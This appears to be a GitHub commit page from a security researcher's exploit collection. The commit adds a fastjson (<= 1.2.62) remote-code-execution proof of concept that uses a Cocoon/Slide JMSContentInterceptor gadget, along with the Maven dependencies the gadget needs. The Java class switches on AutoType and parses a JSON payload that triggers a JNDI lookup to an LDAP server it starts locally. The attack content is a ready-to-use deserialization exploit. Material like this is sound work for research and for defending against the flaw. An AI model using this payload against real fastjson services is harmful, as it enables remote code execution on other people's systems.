Skip to content

Commit 4963c65

Browse files
author
“threedr3am”
committed
Merge branch 'feat/new-cocoon-slide-gadget-fastjson'
# Conflicts: # fastjson/pom.xml
2 parents 0f9ea51 + 4dd863b commit 4963c65

File tree

2 files changed

+51
-0
lines changed

2 files changed

+51
-0
lines changed

fastjson/pom.xml

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -88,5 +88,16 @@
8888
<artifactId>hadoop-client-minicluster</artifactId>
8989
<version>3.2.1</version>
9090
</dependency>
91+
92+
<dependency>
93+
<groupId>slide</groupId>
94+
<artifactId>slide-kernel</artifactId>
95+
<version>2.1</version>
96+
</dependency>
97+
<dependency>
98+
<groupId>cocoon</groupId>
99+
<artifactId>cocoon-slide</artifactId>
100+
<version>2.1.11</version>
101+
</dependency>
91102
</dependencies>
92103
</project>
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package com.threedr3am.bug.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
7+
/**
8+
* fastjson <= 1.2.62 RCE,需要开启AutoType (report by threedr3am to ASRC)
9+
*
10+
* PS:因为引用了javax/jms/JMSException类,所以必须在javaee环境下
11+
*
12+
* <dependency>
13+
* <groupId>slide</groupId>
14+
* <artifactId>slide-kernel</artifactId>
15+
* <version>2.1</version>
16+
* </dependency>
17+
* <dependency>
18+
* <groupId>cocoon</groupId>
19+
* <artifactId>cocoon-slide</artifactId>
20+
* <version>2.1.11</version>
21+
* </dependency>
22+
*
23+
* @author threedr3am
24+
*/
25+
public class CocoonSlidePoc {
26+
static {
27+
//rmi server示例
28+
// RmiServer.run();
29+
30+
//ldap server示例
31+
LdapServer.run();
32+
}
33+
34+
public static void main(String[] args) {
35+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
36+
37+
String fastjsonPayload = "{\"@type\":\"org.apache.cocoon.components.slide.impl.JMSContentInterceptor\", \"parameters\": {\"@type\":\"java.util.Hashtable\",\"java.naming.factory.initial\":\"com.sun.jndi.rmi.registry.RegistryContextFactory\",\"topic-factory\":\"ldap://127.0.0.1:43658/Calc\"}, \"namespace\":\"\"}";
38+
JSON.parse(fastjsonPayload);
39+
}
40+
}

0 commit comments

Comments
 (0)